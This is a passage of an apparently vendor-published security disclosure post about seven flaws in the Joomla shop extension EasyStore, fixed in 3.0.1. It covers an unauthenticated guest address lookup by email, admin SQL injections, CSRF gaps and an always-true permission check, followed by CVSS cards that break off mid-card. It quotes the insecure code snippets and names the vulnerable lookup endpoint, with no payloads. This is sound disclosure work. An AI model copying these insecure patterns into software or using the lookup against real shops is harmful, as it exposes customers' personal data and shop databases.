&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;#&lt;/th&gt;&lt;th&gt;Flaw&lt;/th&gt;&lt;th&gt;Who can exploit it&lt;/th&gt;&lt;th&gt;What it exposes&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;Guest checkout customer lookup (IDOR)&lt;/td&gt;&lt;td&gt;Anyone, no login&lt;/td&gt;&lt;td&gt;A guest customer’s name, address and phone number&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;SQL injection in media image deletion&lt;/td&gt;&lt;td&gt;An administrator session&lt;/td&gt;&lt;td&gt;The database&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;SQL injection in coupon bulk update&lt;/td&gt;&lt;td&gt;An administrator session&lt;/td&gt;&lt;td&gt;The database&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;4&lt;/td&gt;&lt;td&gt;No CSRF check on the admin API&lt;/td&gt;&lt;td&gt;A logged-in admin who opens a hostile page&lt;/td&gt;&lt;td&gt;Product, order, customer and settings changes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;5&lt;/td&gt;&lt;td&gt;Configuration update with no CSRF or access check&lt;/td&gt;&lt;td&gt;A logged-in admin who opens a hostile page&lt;/td&gt;&lt;td&gt;The site’s mail sender name and address&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;6&lt;/td&gt;&lt;td&gt;&lt;code&gt;allowEdit()&lt;/code&gt; always returns true&lt;/td&gt;&lt;td&gt;Any administrator&lt;/td&gt;&lt;td&gt;Edits Joomla’s permissions should block&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;7&lt;/td&gt;&lt;td&gt;CSRF check commented out on reviews&lt;/td&gt;&lt;td&gt;A logged-in customer who opens a hostile page&lt;/td&gt;&lt;td&gt;Reviews posted in their name&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The Joomla CNA’s CVSS 4.0 scores put the media SQL injection and the &lt;code&gt;allowEdit()&lt;/code&gt; bypass highest at 8.6 High, then the customer lookup and the coupon SQL injection at 8.2 High, the admin API and configuration CSRF at 7.2 High, and the review CSRF at 5.3 Medium. We still rank the customer lookup first because it is the only one an anonymous visitor can use. The cards under &lt;a href=&quot;#disclosure-and-severity&quot;&gt;Disclosure and severity&lt;/a&gt; show each vector.&lt;/p&gt;
&lt;h2&gt;1. Any visitor could look up a customer’s address by email&lt;/h2&gt;
&lt;p&gt;EasyStore’s checkout has a helper that fills in the shipping form for a returning guest. When a guest types their email address, the browser sends it to &lt;code&gt;task=checkout.searchGuestUser&lt;/code&gt; and gets the saved address back.&lt;/p&gt;
&lt;p&gt;The controller took the email from the request, looked up the matching row in the guest customers table and returned its stored shipping address as JSON. There was no login check, no session check and no token, and nothing tied the request to the person who owned the address. Anyone could send the same request, from anywhere, with any email address.&lt;/p&gt;
&lt;p&gt;So a customer’s name, street address, city, postcode, country and phone number were one request away for anybody who knew or guessed their email. Email addresses are not secrets: they leak in breaches, sit on business cards and can be bought in bulk. An attacker with a list could test every address on it against a shop and keep the ones that returned a home address, which is also a reliable way to learn who shops there. We confirmed this live on our own test install.&lt;/p&gt;
&lt;p&gt;In 3.0.1 the endpoint returns nothing at all and is marked as deprecated, with a code comment giving the personal data exposure as the reason. That is the right fix: the feature cannot be made safe without proving who is asking, and proving that is what logging in is for.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;A lookup like this leaves no trace&lt;/p&gt;&lt;div&gt;&lt;p&gt;Reading customer data writes nothing: no file changes, no new admin account, nothing a file scan would catch. If a shop with real guest customers ran EasyStore below 3.0.1, treat guest shipping details as potentially read, and check with whoever handles data protection for the business whether it has to be reported.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;2 and 3. SQL injection in media deletion and coupon bulk update&lt;/h2&gt;
&lt;p&gt;Two admin endpoints built a SQL &lt;code&gt;IN()&lt;/code&gt; list by gluing request values straight into the query. Media image deletion took an &lt;code&gt;ids&lt;/code&gt; string, split it on commas and put the pieces into &lt;code&gt;WHERE id IN (...)&lt;/code&gt; unchanged. Coupon bulk update did the same with a &lt;code&gt;cid[]&lt;/code&gt; array.&lt;/p&gt;
&lt;p&gt;Both need an administrator session. That sounds like a high bar, but administrator accounts are the ones that get phished, reused across sites and shared with contractors, and a SQL injection turns “can manage the shop” into “can read or change anything in the database”, including tables that have nothing to do with EasyStore. In 3.0.1 both paths convert every id to an integer and pass them through Joomla’s parameterised &lt;code&gt;whereIn()&lt;/code&gt;, which is the correct, complete fix.&lt;/p&gt;
&lt;h2&gt;4 and 5. Admin changes a hostile page could trigger&lt;/h2&gt;
&lt;p&gt;Cross-site request forgery (CSRF) is the attack where a page on another site makes the victim’s browser send a request to yours without them knowing. The browser attaches the victim’s session cookie, so the request arrives logged in. Joomla’s defence is a form token that another site cannot know, and every state-changing request is supposed to check it.&lt;/p&gt;
&lt;p&gt;EasyStore’s admin API controller did not check the token globally. Only its &lt;code&gt;products()&lt;/code&gt; method did. Every other admin AJAX endpoint (media, coupons, customers, orders, tags, brands, categories, reviews, settings and collections) accepted state-changing requests without one. The configuration endpoint was a separate case of the same problem: it wrote the site’s sender name and email address into Joomla’s &lt;code&gt;configuration.php&lt;/code&gt; with no token check and no access check.&lt;/p&gt;
&lt;p&gt;This is why “needs an administrator” undersells these two. The attacker does not need an admin account. They need an administrator who is logged in to open a link, which is an easier thing to arrange. A changed mail sender tends to go unnoticed until password reset emails start behaving strangely.&lt;/p&gt;
&lt;p&gt;In 3.0.1 the admin API checks the token for every POST, PUT, PATCH and DELETE request, and the configuration update now requires the right request method, admin permission and a valid token.&lt;/p&gt;
&lt;h2&gt;6. A permission check that always said yes&lt;/h2&gt;
&lt;p&gt;Joomla lets a site owner restrict who can edit what, down to individual records. Controllers ask for that decision through &lt;code&gt;allowEdit()&lt;/code&gt;. EasyStore’s admin API overrode it like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;protected&lt;/span&gt;&lt;span&gt; function&lt;/span&gt;&lt;span&gt; allowEdit&lt;/span&gt;&lt;span&gt;($data &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [], $key &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;id&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    return&lt;/span&gt;&lt;span&gt; true&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So every edit routed through that controller skipped Joomla’s asset permissions entirely. A shop manager the owner had restricted could edit anything the API could reach. In 3.0.1 the method asks EasyStore’s access control class instead.&lt;/p&gt;
&lt;h2&gt;7. Reviews posted in a customer’s name&lt;/h2&gt;
&lt;p&gt;The storefront review endpoint already had the right CSRF check written, and it was commented out:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;// Note: Uncomment CSRF check if frontend explicitly attaches standard Joomla token to requests&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;// if (!\Joomla\CMS\Session\Session::checkToken(&apos;request&apos;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;//     $this-&amp;gt;sendResponse([&apos;status&apos; =&amp;gt; &apos;error&apos;, &apos;message&apos; =&amp;gt; Text::_(&apos;JINVALID_TOKEN&apos;)], 403);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;//     return;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;// }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A hostile page could post reviews under any logged-in customer who visited it. It is the least serious of the seven, but fake reviews under real customer names are a reputational problem for a shop, and the fix was already sitting in the file. 3.0.1 enables the check and restricts the request method.&lt;/p&gt;
&lt;h2&gt;What JoomShaper got right this time&lt;/h2&gt;
&lt;p&gt;In July we reported three flaws in EasyStore 2.0.1. JoomShaper fixed them quickly, but &lt;a href=&quot;https://mysites.guru/blog/easystore-security-disclosure/&quot;&gt;shipped 2.0.2 with the fixes worded as routine changelog lines&lt;/a&gt;, with no security wording at all. This release was handled differently.&lt;/p&gt;
&lt;p&gt;JoomShaper sent us the fixed build, Free and Pro, and asked us to confirm it before releasing. We did, against the code, and all seven were closed. Then 3.0.1 went out with a separate Security section that names each flaw by type and cites a CVE ID for each one:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/easystore-3-0-1-changelog.aAQVUePb_Z1oKa7T.webp&quot; srcset=&quot;https://mysites.guru/_astro/easystore-3-0-1-changelog.aAQVUePb_1eSb8H.webp 640w, https://mysites.guru/_astro/easystore-3-0-1-changelog.aAQVUePb_Z2r7ANt.webp 750w, https://mysites.guru/_astro/easystore-3-0-1-changelog.aAQVUePb_7Sx5c.webp 828w, https://mysites.guru/_astro/easystore-3-0-1-changelog.aAQVUePb_Z1sUYj0.webp 1080w, https://mysites.guru/_astro/easystore-3-0-1-changelog.aAQVUePb_Z2eoK5M.webp 1280w, https://mysites.guru/_astro/easystore-3-0-1-changelog.aAQVUePb_Z1oKa7T.webp 1600w&quot; alt=&quot;The EasyStore 3.0.1 changelog dated 23 September 2026 as published by JoomShaper. A Security section lists seven entries, each with a shield icon and a CVE ID in brackets: fixed an unauthenticated guest checkout IDOR vulnerability that could expose PII (CVE-2026-90899), fixed missing CSRF token verification in storefront product review submissions (CVE-2026-90900), fixed an authenticated SQL injection vulnerability in media image deletion (CVE-2026-90901), fixed an authenticated SQL injection vulnerability in coupon bulk update operations (CVE-2026-90902), fixed missing CSRF token verification across administrator AJAX API endpoints (CVE-2026-90903), fixed an ACL bypass vulnerability in administrator API record editing operations (CVE-2026-90904), and fixed missing CSRF token verification and access control checks in site configuration updates (CVE-2026-90905). An Updates section below lists a default maximum quantity limit of 9,999 and improved product JSON-LD structured data&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1600px) 1600px, 100vw&quot; width=&quot;1600&quot; height=&quot;1124&quot; /&gt;&lt;/p&gt;
&lt;p&gt;A shop owner reading that knows it is a security release. The word “unauthenticated” is right there on the first line. Compare it with July, when the only hint that 2.0.2 closed a database-wide SQL injection was a line about “strict allowlist sanitization for product list sorting options”.&lt;/p&gt;
&lt;p&gt;The changelog itself credits no one for finding the flaws. The CVE records do: all seven, published by the Joomla CNA the same evening, name Phil Taylor of mySites.guru as the finder, and they confirm the pairing of CVE IDs to fixes shown above.&lt;/p&gt;
&lt;h2&gt;Is 3.0.1 the end of it?&lt;/h2&gt;
&lt;p&gt;For the seven flaws in this post, yes: every one is fixed in 3.0.1’s code. Reading 3.0.1 to confirm those fixes, we also found further issues that this release does not address. We are not publishing any detail about them.&lt;/p&gt;
&lt;p&gt;That should not stop anyone updating. 3.0.1 closes everything described above, including the one any visitor could exploit, and staying on 3.0.0 or 2.x leaves all seven open. When there is more to say, we will say it here.&lt;/p&gt;
&lt;h2&gt;How do you update EasyStore safely?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first.&lt;/strong&gt; If you use mySites.guru, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;take a snapshot&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;run a full backup&lt;/a&gt; before touching a live shop.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to 3.0.1.&lt;/strong&gt; On one site, use Joomla’s System, Update, Extensions screen. Across several, use the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; to push it to every shop at once.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm the version.&lt;/strong&gt; Check the site’s extension list shows EasyStore 3.0.1 or later.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check the mail settings.&lt;/strong&gt; In Joomla’s Global Configuration, confirm the From Email and From Name are what you set, since the configuration flaw could change them.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Review your administrator accounts.&lt;/strong&gt; Several of these flaws were reachable through an administrator’s session, so look for accounts and changes you do not recognise.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/rogueadmins&quot;&gt;Find administrator accounts you never created&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs as part of the full audit on every connected site.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/rogueadmins&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;How do I find every EasyStore shop I manage?&lt;/h2&gt;
&lt;p&gt;On release day, every EasyStore install in the mySites.guru database with a readable version number was on an affected version. Well over half were already on 3.0.0, less than two weeks after it came out, which says something good about how quickly EasyStore shops update. It also means the flaws reached most shops almost as soon as they shipped.&lt;/p&gt;
&lt;p&gt;The first question after a release like this is which of your sites run the thing. mySites.guru keeps a live inventory of the extensions, plugins and templates on each connected Joomla and WordPress site. Search for EasyStore once and you see each shop running it and the version each one is on.&lt;/p&gt;
&lt;p&gt;We added the affected range, every version below 3.0.1, to the mySites.guru vulnerability database today, so every connected site still on a vulnerable EasyStore is flagged on its dashboard without anyone searching. The same database lists &lt;a href=&quot;https://mysites.guru/vulnerabilities/&quot;&gt;the Joomla extension vulnerabilities we track&lt;/a&gt;, with the affected versions for each.&lt;/p&gt;
&lt;h2&gt;What else mySites.guru checks on a Joomla shop&lt;/h2&gt;
&lt;p&gt;EasyStore is one extension. A typical Joomla shop runs dozens, and each has its own release notes, its own version numbering and its own idea of what counts as a security release. No single check covers that. It takes several running together:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Vulnerable extension detection compares installed extensions against the known-vulnerable ranges and flags the site as soon as one matches. That is how today’s EasyStore rule reaches every connected shop at once.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/rogueadmins&quot;&gt;Rogue administrator detection&lt;/a&gt; lists super users you did not create, which is where admin-side flaws tend to leave their mark.&lt;/li&gt;
&lt;li&gt;File scanning checks every file against a pattern library of roughly 1,500 malware signatures and looks for files that can accept uploads.&lt;/li&gt;
&lt;li&gt;The &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; pushes the fixed version to every affected site from one screen once you know which ones they are.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All of it runs unattended across every connected site, and all of it is part of the subscription. Doing the same by hand means logging into each Joomla admin, reading the extensions list and comparing it against changelogs, and doing it again the next time a vendor ships.&lt;/p&gt;
&lt;p&gt;If a shop has already been hit, &lt;a href=&quot;https://fix.mysites.guru/now&quot;&gt;fix.mySites.guru&lt;/a&gt; cleans it, audits it for backdoors and hands it back secure for a single fixed fee, usually the same day. Non-subscribers get a free month with it.&lt;/p&gt;
&lt;p&gt;Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site to see what it finds, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;see the plans&lt;/a&gt; and connect every site you manage.&lt;/p&gt;
&lt;h2&gt;Disclosure and severity&lt;/h2&gt;
&lt;p&gt;We found all seven flaws reading EasyStore 3.0.0’s code and confirmed the unauthenticated customer lookup live on our own test install. They were reported privately to JoomShaper on 10 September 2026, with the Joomla Security Strike Team copied, and nothing was published until the fix shipped.&lt;/p&gt;
&lt;p&gt;The weakness classes are an insecure direct object reference (CWE-639) for the customer lookup, cross-site request forgery (CWE-352) for the review, admin API and configuration flaws, SQL injection (CWE-89) for the media and coupon endpoints, and incorrect authorization (CWE-863) for &lt;code&gt;allowEdit()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;These are the Joomla CNA’s CVSS 4.0 scores from the published records, which replace the provisional scores we gave when this post first went up. Worst first:&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;8.6&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-90901/&quot;&gt;CVE-2026-90901&lt;/a&gt;Authenticated SQL injection in media image deletion&lt;/p&gt;&lt;p&gt;&lt;span&gt;High&lt;/span&gt;&lt;span&gt;Joomla CNA record, published 23 September 2026&lt;/span&gt;&lt;/p&gt;&lt;p&gt;SQL injection in media image deletion. An administrator session can read or change anything in the site database.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:H&lt;/dt&gt;&lt;dd&gt;High: Needs an account with elevated rights&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;8.6&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-90904/&quot;&gt;CVE-2026-90904&lt;/a&gt;ACL bypass in administrator API record editing&lt;/p&gt;&lt;p&gt;&lt;span&gt;High&lt;/span&gt;&lt;span&gt;Joomla CNA record, published 23 September 2026&lt;/span&gt;&lt;/p&gt;&lt;p&gt;allowEdit() always returns true. Any administrator can edit records that Joomla&apos;s asset permissions should stop them editing.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:H&lt;/dt&gt;&lt;dd&gt;High: Needs an account with elevated rights&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;8.2&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-90899/&quot;&gt;CVE-2026-90899&lt;/a&gt;Unauthenticated guest checkout IDOR exposing customer PII&lt;/p&gt;&lt;p&gt;&lt;span&gt;High&lt;/span&gt;&lt;span&gt;Joomla CNA record, published 23 September 2026&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Guest checkout customer lookup. Any visitor who supplies a guest customer&apos;s email address gets back their name, street address, city, postcode, country and phone number.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Exploitable over the internet&lt;/span&gt;&lt;span&gt;Customer personal data&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:H&lt;/dt&gt;&lt;dd&gt;High: The attacker has to defeat a mitigation first&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:N&lt;/dt&gt;&lt;dd&gt;None: The site stays up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;8.2&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-90902/&quot;&gt;CVE-2026-90902&lt;/a&gt;Authenticated SQL injection in coupon bulk update&lt;/p&gt;&lt;p&gt;&lt;span&gt;High&lt;/span&gt;&lt;span&gt;Joomla CNA record, published 23 September 2026&lt;/span&gt;&lt;/p&gt;&lt;p&gt;SQL injection in coupon bulk update. The same flaw as the media endpoint, reached through the coupon ids. The published vector says no login is needed (PR:N), which does not match the flaw: the task is only reachable from an administrator session. We will update this card if the record is corrected.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:H&lt;/dt&gt;&lt;dd&gt;High: The attacker has to defeat a mitigation first&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:N&lt;/dt&gt;&lt;dd&gt;None: The site stays up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their 